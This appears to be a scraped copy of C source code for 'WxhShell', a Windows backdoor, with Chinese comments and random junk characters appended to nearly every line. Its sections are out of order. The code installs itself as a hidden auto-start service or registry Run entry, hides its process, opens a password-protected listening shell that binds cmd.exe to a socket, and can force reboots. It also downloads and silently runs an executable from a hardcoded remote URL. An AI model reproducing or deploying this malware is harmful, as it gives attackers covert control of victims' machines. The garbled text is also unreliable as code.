    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xrPZy*Y,  
    else { YWK0.F,8a  
    closesocket(wsh); }ouGxs+^[  
    ExitThread(0); /AD&z?My+E  
    } E+lR&~mK=  
    break; |O_ JUl  
    } K<e #y!  
  // 获取shell BA c+T  
  case 's': { (N9-YP?qm  
    CmdShell(wsh); '#f<wf n  
    closesocket(wsh); .jCGtR )%  
    ExitThread(0); -`PziG l@<  
    break; w 0_P9g:  
  } zWC| Qe  
  // 退出 lgaSIXDK  
  case 'x': { =HCEUB9Fs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +>#SNZ[  
    CloseIt(wsh); 1%+-}yo<  
    break; !i;6!w  
    } l;iU9<~  
  // 离开 '5BD%#[  
  case 'q': { ,ErfTg&^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _"1RidhH  
    closesocket(wsh); a<<4gXx  
    WSACleanup(); 9>~pA]j%  
    exit(1); B>fZH \Y  
    break; !zX() V  
        } L+8ar9es  
  } I_r@Y:5{  
  } Me .I>7c  
s(=wG|   
  // 提示信息 $X#y9<bW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <N vw*yA  
} qPQIcJ  
  } lp *GJP]T  
/}m)FaAi  
  return; sF {,n0<8  
} `9^tuR,  
L!cOg8Z  
// shell模块句柄 KR>)Ek  
int CmdShell(SOCKET sock) ai_ve[A  
{ zKd@Ab  
STARTUPINFO si; XDY]LAV  
ZeroMemory(&si,sizeof(si)); U!(.i1^n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hh% !4_AMw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /pj[c;aO  
PROCESS_INFORMATION ProcessInfo; J~2SGXH)^?  
char cmdline[]="cmd"; 9hA`I tS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f7x2"&?vg  
  return 0; 'zI(OnIS  
} p/ ITg  
^lHy)!&A  
// 自身启动模式 <o%T]  
int StartFromService(void) t8*Jdd^3Z/  
{ UGO#o`.G}  
typedef struct 8gS7$ EH'  
{ >of34C"DI  
  DWORD ExitStatus; iww/s  
  DWORD PebBaseAddress; *BsK6iVb  
  DWORD AffinityMask; Ixa0;nxj  
  DWORD BasePriority; 8qyEHUN2q  
  ULONG UniqueProcessId; UMGiJO\yH  
  ULONG InheritedFromUniqueProcessId; 7zG r+Px  
}   PROCESS_BASIC_INFORMATION; $r!CQ 2S  
~7 i{~<?  
PROCNTQSIP NtQueryInformationProcess; ["3dr@T9Z  
&&&-P\3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jri"#H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I){4MoH.  
,Pa*; o\  
  HANDLE             hProcess; $XF$ n#ua  
  PROCESS_BASIC_INFORMATION pbi; PT~htG<Fw  
pkn^K+<n,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HA,o2jZ?In  
  if(NULL == hInst ) return 0; ~XOmxz0  
v #+ECx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Af _4Z]F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4mvR]: G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E.K^v/dNdq  
joe)b  
  if (!NtQueryInformationProcess) return 0; :F:1(FDP  
h1_Z&VJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }-oba_  
  if(!hProcess) return 0; RIMSXue*Ha  
I8bM-k):9R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X FS~  
(tg.]q_=u  
  CloseHandle(hProcess); 0-Mzb{n5  
;%e)t[5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4LTm&+(5  
if(hProcess==NULL) return 0; %,T*[d&i  
;iKLf~a a  
HMODULE hMod; p{w-  
char procName[255]; Tdi^P}i_  
unsigned long cbNeeded; =~;~hZj  
.a@12J(I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PeJ#9hI~rQ  
nj s:  
  CloseHandle(hProcess); dxX`\{E  
]h S:0QE  
if(strstr(procName,"services")) return 1; // 以服务启动 yNI0Do 2  
pAy4%|(  
  return 0; // 注册表启动 @ VWED  
} w ,j*I7V  
NxHUOPAJc  
// 主模块 X)3(.L  
int StartWxhshell(LPSTR lpCmdLine) JWb +  
{ b G:\*1T  
  SOCKET wsl; m'"r<]pB*4  
BOOL val=TRUE; Skt-5S#  
  int port=0; wMVUTm  
  struct sockaddr_in door; 3x;UAi+&  
cUR :a @  
  if(wscfg.ws_autoins) Install(); ~(R=3  
IhNX~Jg'^  
port=atoi(lpCmdLine); 5MnP6(3$  
l2Sar1~1  
if(port<=0) port=wscfg.ws_port; JQ%hh&M\0  
cACIy yQ  
  WSADATA data; KL_ /f   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !y d B,S  
d0>U-.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ce;7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YmC}q20;  
  door.sin_family = AF_INET; CP7Fe{P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (  cs  
  door.sin_port = htons(port); I-R7+o  
-qP)L;n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?\Z pVL<>  
closesocket(wsl); w % Hj'  
return 1; M@.l# [@U  
} Q5ASN"_  
 R0Vt_7  
  if(listen(wsl,2) == INVALID_SOCKET) { Eg)24C R 4  
closesocket(wsl); (%B{=w}8  
return 1; `H! (hMMV  
} `]5qIKopL  
  Wxhshell(wsl); $)#orZtzr  
  WSACleanup(); Al^tM0T^  
A$@;Q5/2  
return 0; JK! (\Ae.  
!)]/?&uo  
} @ [;'b$T$  
64u(X^i  
// 以NT服务方式启动 G=cRdiy`C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t<v.rb  
{ :`N&BV  
DWORD   status = 0; TanWCt4r  
  DWORD   specificError = 0xfffffff; )E.AY  
}+!"mJx@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; in1rDN%Vi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D)-LZbPa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jt[ug26  
  serviceStatus.dwWin32ExitCode     = 0; <MS>7Fd2  
  serviceStatus.dwServiceSpecificExitCode = 0; tNY;wl:wp  
  serviceStatus.dwCheckPoint       = 0; XY'=_5t  
  serviceStatus.dwWaitHint       = 0; fJ*^4  
(9u`(|x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <W0(!<U  
  if (hServiceStatusHandle==0) return; ??/bI~Sd  
zx$YNjeV  
status = GetLastError(); 77M!2S_E  
  if (status!=NO_ERROR) WHE<E rV%  
{ NMkP#s7.y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  qra XAQ  
    serviceStatus.dwCheckPoint       = 0; x"z\d,O%W  
    serviceStatus.dwWaitHint       = 0; J,W $\V]p  
    serviceStatus.dwWin32ExitCode     = status; $ +WXM$N  
    serviceStatus.dwServiceSpecificExitCode = specificError; X;!*D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c[-N A  
    return; 7rdmj[vu  
  } Nr*l3Z>LD  
 LgF?1?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QP'sS*saJ  
  serviceStatus.dwCheckPoint       = 0; A-r;5?S  
  serviceStatus.dwWaitHint       = 0; h ;uzbu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YhH3fVM  
} zbFy3-RP  
E3'I;  
// 处理NT服务事件,比如:启动、停止 Osqk#Oh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lj]M 1zEz&  
{ v`oilsrc  
switch(fdwControl) bD,21,*z  
{ v\w*VCjoV  
case SERVICE_CONTROL_STOP: e`0C0GaP  
  serviceStatus.dwWin32ExitCode = 0; XNa{_3v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z- q.8~Z  
  serviceStatus.dwCheckPoint   = 0; |cC3L09  
  serviceStatus.dwWaitHint     = 0; o+|>D&CW%  
  { NV./p`k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (A?>U_@  
  } YW7w>}aW  
  return; % f;v$rsZ  
case SERVICE_CONTROL_PAUSE: RJ?)O#}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~m fG Yk"  
  break; Q9cSrU[$  
case SERVICE_CONTROL_CONTINUE: ,[ 2N3iH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GSRf/::I}4  
  break; !PIg ,  
case SERVICE_CONTROL_INTERROGATE: 5 SQ!^1R 9  
  break; 0gqV>:  
}; sO ) H#G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |}d^lQ9  
} B*G]Dr)e  
2(d  
// 标准应用程序主函数 UwW@}cy,L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  8~T}BC  
{ vEx'~_+a9  
w~6/p  
// 获取操作系统版本 le^Fik   
OsIsNt=GetOsVer(); wbWC &X.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ll5;09  
\8#[AD*@s2  
  // 从命令行安装 \Hb!<mrp  
  if(strpbrk(lpCmdLine,"iI")) Install(); :NLY;B`  
?*V\ -7jg  
  // 下载执行文件 uVgA <*0  
if(wscfg.ws_downexe) { FtJaX])b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p@78Xmu?q  
  WinExec(wscfg.ws_filenam,SW_HIDE); UG.:D';3,  
} v^eAQoFLhN  
>C,0}lj  
if(!OsIsNt) { rZ,qHM  
// 如果时win9x,隐藏进程并且设置为注册表启动 MZ%J ]Nd  
HideProc(); i@:^b_  
StartWxhshell(lpCmdLine); -$!r+4|q  
}  2l,>x  
else N]yT/8  
  if(StartFromService()) e_!h>=$%8  
  // 以服务方式启动 Jm , :6T  
  StartServiceCtrlDispatcher(DispatchTable); JA{kifu0+  
else 1!1,{\9%  
  // 普通方式启动 8@vq.z}  
  StartWxhshell(lpCmdLine); :#vA5kC  
1o5kP,)  
return 0; 0VvY(j:hp  
} ~d&&\EZ  
:[l}Bb,  
$-DW+|p.?^  
A23K!a2u&  
=========================================== \@PMj"p|:  
i$pUUK  
X,3"4 SK  
YAR$6&  
ExS&fUn `C  
P [aE3Felk  
" '[6]W)f  
:&5u)  
#include <stdio.h> BUZ74  
#include <string.h> ~7aD#`amU  
#include <windows.h> )Fd)YJVR  
#include <winsock2.h> ]pNM~,  
#include <winsvc.h> oBmv^=cH  
#include <urlmon.h> mmwc'-jU:  
idBd aZg  
#pragma comment (lib, "Ws2_32.lib") x=0Ak'1M  
#pragma comment (lib, "urlmon.lib") #}.{|'L  
R;AcAJ;  
#define MAX_USER   100 // 最大客户端连接数 euY+jc%  
#define BUF_SOCK   200 // sock buffer K:XXtG  
#define KEY_BUFF   255 // 输入 buffer fBTNI`#  
Nj4r[5K  
#define REBOOT     0   // 重启 \Uh/(q7  
#define SHUTDOWN   1   // 关机 0F uj-q  
dw#pObH|`  
#define DEF_PORT   5000 // 监听端口 HziQ%QR  
*} *HXE5  
#define REG_LEN     16   // 注册表键长度 Wv5=$y  
#define SVC_LEN     80   // NT服务名长度 Y<^Or  
Up-^km  
// 从dll定义API /p;OZf]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GQ Flt_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?`vGpi~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e]1) _;b*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dg^s$2  
+ d>2'  
// wxhshell配置信息 J%Y-3{TQK  
struct WSCFG { W SvhC  
  int ws_port;         // 监听端口 ;t N@  
  char ws_passstr[REG_LEN]; // 口令 v3~`1MM  
  int ws_autoins;       // 安装标记, 1=yes 0=no p8]XNe  
  char ws_regname[REG_LEN]; // 注册表键名 W;Dik%^tg  
  char ws_svcname[REG_LEN]; // 服务名 z__{6"^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JWu0VLo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0(5qVJ12  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3#fg 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b7'A5]X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cooicKS7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aa]|  
/"!ck2d&1  
}; WO69Wo\C  
R8.@5g_  
// default Wxhshell configuration mr>E'd.'  
struct WSCFG wscfg={DEF_PORT, rf/]VAK  
    "xuhuanlingzhe", 'D+njxCk.A  
    1, $XyDw|z[  
    "Wxhshell", %7[d5[U~ZA  
    "Wxhshell", !K.)Qr9V  
            "WxhShell Service", G"J 8i|~  
    "Wrsky Windows CmdShell Service", <YG 42,N  
    "Please Input Your Password: ", abVEi[nP  
  1, /.mx\_$   
  "http://www.wrsky.com/wxhshell.exe", z\k 6."e_&  
  "Wxhshell.exe" Hm 0;[i  
    }; K_j*9@  
f#38QP-T  
// 消息定义模块 <@>icDFEHn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gBgaVG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u<\Sf"fs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2zsDb'r  
char *msg_ws_ext="\n\rExit."; $*fEgU% c  
char *msg_ws_end="\n\rQuit."; \J~@r1  
char *msg_ws_boot="\n\rReboot..."; 7CU<R9Kl  
char *msg_ws_poff="\n\rShutdown..."; 6C_H0a/h&  
char *msg_ws_down="\n\rSave to "; j%S} T)pX  
mg3YKHNG  
char *msg_ws_err="\n\rErr!"; ZV/g_i #  
char *msg_ws_ok="\n\rOK!"; +s+E!=s  
d<_IC7$u>  
char ExeFile[MAX_PATH]; rb.:(d)T  
int nUser = 0; )\e0L/K@  
HANDLE handles[MAX_USER]; LK|rLoia:  
int OsIsNt; xs)SKG*  
Y>i Qp/k:  
SERVICE_STATUS       serviceStatus; %B>>J%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #3C] "  
\!)1n[N  
// 函数声明 i:R_g]  
int Install(void); /KgP<2p  
int Uninstall(void); '8^>Z.~V  
int DownloadFile(char *sURL, SOCKET wsh); fQfd1=4  
int Boot(int flag); 5'rP-z~ u  
void HideProc(void); P1qnU  
int GetOsVer(void); GKXd"8z]  
int Wxhshell(SOCKET wsl); wx/*un%2  
void TalkWithClient(void *cs); aH$DEs  
int CmdShell(SOCKET sock); e&pt[W}X%u  
int StartFromService(void); H"JzTo8u  
int StartWxhshell(LPSTR lpCmdLine); F @!9rl'  
meD?<g4n~"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,Igd<A=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z}$!B.)  
4n\O6$&.x  
// 数据结构和表定义 8(@(G_skp  
SERVICE_TABLE_ENTRY DispatchTable[] = \S#![NC  
{ Q=498Y~x  
{wscfg.ws_svcname, NTServiceMain}, ynq^ztBVe  
{NULL, NULL} l5Q-M{w0x  
}; d?GB#N|+g  
covK6SH  
// 自我安装 y $>U[^G[  
int Install(void) 5F5)Bh  
{ DvBRK}'  
  char svExeFile[MAX_PATH]; dJ,,yA*  
  HKEY key; =W'{xG}  
  strcpy(svExeFile,ExeFile); C/z0/mk  
KupQtT<  
// 如果是win9x系统,修改注册表设为自启动 {@67'jL  
if(!OsIsNt) { PAjH*5I A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0e~4(2xK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q$S|LC  
  RegCloseKey(key); D14i]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2$> <rB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tb'O:/  
  RegCloseKey(key); Z-'xJq  
  return 0; "&TN}SBW  
    } wn>?r ?KIB  
  } lDtl6r/  
} Ix+\oq,O  
else { >f~y2YAr  
c ^+{YH;k  
// 如果是NT以上系统,安装为系统服务 }C{wGK+o[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `yua?n  
if (schSCManager!=0) RATW[(ZA  
{ 8(GJz ~y  
  SC_HANDLE schService = CreateService -W"  w  
  ( 5PT*b}g@  
  schSCManager, 5cSqo{|En  
  wscfg.ws_svcname, 5m a(~5  
  wscfg.ws_svcdisp, g5hMZPOmP  
  SERVICE_ALL_ACCESS, K2oyHw<mk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OYk/K70l3  
  SERVICE_AUTO_START, uU`Mq8) R  
  SERVICE_ERROR_NORMAL, FP h1}qS  
  svExeFile, wb (quu  
  NULL, k9o LJ<.k  
  NULL, e_t""h4D  
  NULL, af;~<o a  
  NULL, i{nFk',xX  
  NULL `Ct fe8  
  ); rTYMN  
  if (schService!=0) ^yVKW5x  
  { +FlO_=Bu  
  CloseServiceHandle(schService); -x0u}I  
  CloseServiceHandle(schSCManager); fpPHw)dTd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NR0fxh  
  strcat(svExeFile,wscfg.ws_svcname); 8\_YP3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @xPWR=Lb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <lHVch"(^$  
  RegCloseKey(key); M@78.lPS  
  return 0; ~BD 80s:f  
    } ZuVucP>>_d  
  } =MokbK2  
  CloseServiceHandle(schSCManager); #TKByOcD2!  
} 3Ay<2v  
} -|3feYb'  
2:Q2w3Xe  
return 1; jun$C Y4  
} 5"I8ric  
/.%AE|0+X  
// 自我卸载 tU >?j1  
int Uninstall(void) H.]rH,8  
{ 4ai|*8.  
  HKEY key; ! p|d[  
md`"zV  
if(!OsIsNt) { `_5{: 9N$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wYLJEuS|  
  RegDeleteValue(key,wscfg.ws_regname); gOKF%Ej31T  
  RegCloseKey(key); T9O3$1eqfo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #u<n .  
  RegDeleteValue(key,wscfg.ws_regname); 5Uha,Q9SA  
  RegCloseKey(key); NE2P "mY  
  return 0; ubQZTAx  
  } }  cQ` L  
} c*HWH$kB  
} MWron_xg  
else { z~O:w'(g  
x72T5.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $@Kwsoh'  
if (schSCManager!=0) W]= $0'  
{ Y>2kOE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yl0_?.1 z  
  if (schService!=0) F{"4cyoou  
  { )r.4`5Rc  
  if(DeleteService(schService)!=0) { <WRrB `nO  
  CloseServiceHandle(schService); 5Cjh%rj(jl  
  CloseServiceHandle(schSCManager); E|l qlS7  
  return 0; 55#s/`gd)^  
  } B~t[Gy  
  CloseServiceHandle(schService); &d/x1=  
  }  El:&  
  CloseServiceHandle(schSCManager); $ %BNoSK  
} hqVxvS"  
} ;@l5kdZx`  
@eU5b63jM  
return 1; 78-D/WY/X  
} Tkf JC|6  
k@/s-^ry3  
// 从指定url下载文件 |w w@V<'/#  
int DownloadFile(char *sURL, SOCKET wsh) 1a>TJdoa  
{ Q% LQP!Kg  
  HRESULT hr; UUaC@Rs2  
char seps[]= "/"; ud,=O X q  
char *token; t,vj)|:  
char *file; S1D=' k]  
char myURL[MAX_PATH]; 65||]l  
char myFILE[MAX_PATH]; 1&Ruz[F5  
c#YW>(  
strcpy(myURL,sURL); mel(C1b"j/  
  token=strtok(myURL,seps); C3>`e3v  
  while(token!=NULL) =#|K-X0d=  
  { T?Y/0znB*  
    file=token; }10ZPaHjl+  
  token=strtok(NULL,seps); 0$A7"^]  
  } %RX}sS  
?'I pR  
GetCurrentDirectory(MAX_PATH,myFILE); n+9rx]W,  
strcat(myFILE, "\\"); -K*&I!  
strcat(myFILE, file); !au%D?w  
  send(wsh,myFILE,strlen(myFILE),0); N497"H</  
send(wsh,"...",3,0); 0;  BX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X[r\ Qa  
  if(hr==S_OK) '|^<|S_+K  
return 0; nht?58  
else 2~(\d\k  
return 1; 1'Y7h;\~\  
&h_do8R  
} g:]X '%Ub  
N^;rLrm*  
// 系统电源模块 " }oH3L  
int Boot(int flag) =LHz[dSL  
{ _,{R3k  
  HANDLE hToken; u#r[JF9LP  
  TOKEN_PRIVILEGES tkp; +4]31d&3  
w9Z,3J6r  
  if(OsIsNt) { 5w#7B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T(2*P5%&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W_%@nm\y  
    tkp.PrivilegeCount = 1; 3; Ztm$8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &x>8 %Q s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &2\^S+4  
if(flag==REBOOT) { LL"c 9jb4z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j8#xNA  
  return 0; i^2-PKPg{  
} \PJpy^i  
else { |];f?1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vn Ol-`Z ~  
  return 0; WO]9\"|y  
} .&2Nm&y$ K  
  } .5K}R<  
  else { ;r.0=Uo9]  
if(flag==REBOOT) { DL]\dD   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |';oIYs|$  
  return 0; (dgBI}Za  
} 2=V~n)'a  
else { $$f89, h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `<x((@#  
  return 0; ~us1Df0bp  
} $9}jU#Z|hd  
} {sb2r%U!+  
5vo5t0^o  
return 1; 7x5wT ?2W  
} 6#za\[  
z8-dntkf  
// win9x进程隐藏模块 7wB*@a-  
void HideProc(void) 5g\>x;cc  
{ @4xV3Xkf&C  
.bloaeu-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :Cdqj0O3u  
  if ( hKernel != NULL )  J*FUJT  
  { EPu-oE=HW4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y13Y,cz~B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +pG[ [}/  
    FreeLibrary(hKernel); v_L2>Pa.  
  } K2 b\9}  
Uuq*;L  
return; On*pI37(\  
} kX)QHNzP  
.mwB'Ll  
// 获取操作系统版本 +]dh`8*8>1  
int GetOsVer(void) H&_drxUq;L  
{ G%FLt[  
  OSVERSIONINFO winfo; poU1Q#+4p*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V''?kVJ  
  GetVersionEx(&winfo); DqN<bu2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) " .<>(bE  
  return 1; s=[T,:Z  
  else ^sqTgrG  
  return 0; AJ"a  
} %ZbdWHO#  
,:=g}i  
// 客户端句柄模块 *-\qO.4\  
int Wxhshell(SOCKET wsl) h#JX$9  
{ 67D{^K"KT  
  SOCKET wsh; Ahf71YP  
  struct sockaddr_in client; >_'0 s  
  DWORD myID; I3,0vnE@  
LTlbrB  
  while(nUser<MAX_USER) r<9G}9  
{ 8_:j.(n  
  int nSize=sizeof(client);  Jk>!I\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G<:gNWXd\  
  if(wsh==INVALID_SOCKET) return 1; `)WC|=w2  
Rx,5?*b$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *F;W 1TF  
if(handles[nUser]==0) [M/0Qx[,  
  closesocket(wsh); f(UB$^4  
else ^{ {0ajI9C  
  nUser++; U ljWBd  
  } =lZtI6tZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x +]ek  
=Vat2'>+  
  return 0; %n@ ^$&,&;  
} ,,=VF(@G  
F!7\Za,  
// 关闭 socket ?A]/ M~3B  
void CloseIt(SOCKET wsh) $w+()iI  
{ ^d@ME<mb  
closesocket(wsh); ifI0s)Pn  
nUser--; FFq8LM8  
ExitThread(0); SbXV'&M2AT  
} KD^n7+w%  
@fh:lsw  
// 客户端请求句柄 LMHii Os,  
void TalkWithClient(void *cs) ~+S,`8-P  
{ !x[].Urj  
f<y-{.VnN$  
  SOCKET wsh=(SOCKET)cs; '_B;e=v`  
  char pwd[SVC_LEN]; ?*L{xNC#  
  char cmd[KEY_BUFF]; Z>PS>6  
char chr[1]; 8e"MP\0V  
int i,j; 1YScZ  
Nh[H[1"J  
  while (nUser < MAX_USER) { C Ef*:kr  
D%~"]WnZ\Q  
if(wscfg.ws_passstr) { kca#ssN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /*e6('9s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~?z u5,vb  
  //ZeroMemory(pwd,KEY_BUFF); Aaug0X  
      i=0; S{jm4LZ  
  while(i<SVC_LEN) { i6P'_  
.2V?G]u  
  // 设置超时 ?h)T\z  
  fd_set FdRead; WP5Vev9*+  
  struct timeval TimeOut; e(H{C  
  FD_ZERO(&FdRead); X:mm<4  
  FD_SET(wsh,&FdRead); oer3DD(  
  TimeOut.tv_sec=8; I(uM`g  
  TimeOut.tv_usec=0; +:3s f%0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =wznkqyhi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !CUM*<iV  
xV"~?vD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8lFYk`|g  
  pwd=chr[0]; s1bb2R  
  if(chr[0]==0xd || chr[0]==0xa) { uaqV)H  
  pwd=0; w*\JA+  
  break; 2sYz$ZGC"#  
  } :u`gjj$:s  
  i++; KM9H<;A  
    } nQ@<[KNd  
4}-G<7*  
  // 如果是非法用户,关闭 socket m:Fdgu9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x}~Z[bx  
} :Z.P0=  
zNM*xPgS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L, 2;-b|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H"c2kno9  
nT9Hw~f<j  
while(1) { L KLLBrm:  
A "/|h].  
  ZeroMemory(cmd,KEY_BUFF); /h 4rW>8D2  
B&AF(e (  
      // 自动支持客户端 telnet标准   MIY`"h0*  
  j=0; -oi@1g @  
  while(j<KEY_BUFF) { .UYhj8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =g|5VXW5  
  cmd[j]=chr[0]; !NMiWG4R  
  if(chr[0]==0xa || chr[0]==0xd) { D< 0))r  
  cmd[j]=0; VV"w{#XKw  
  break; 1L%$\0B4hm  
  } :cKdl[E4z  
  j++; { g4`>^;  
    } <6&Z5mpm$w  
q;.LK8M  
  // 下载文件 45H9pY w  
  if(strstr(cmd,"http://")) { Y/T-2)D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @<koL  
  if(DownloadFile(cmd,wsh)) hE7rnn{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S^iT &;,  
  else q<[o 4qY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gF:| j(  
  } [Pl''[  
  else { B & ]GGy  
5| Oj\L{  
    switch(cmd[0]) { vs@u*4.Ut<  
  qW S"I+o,S  
  // 帮助 erOj(ce  
  case '?': { =R)w=ce  
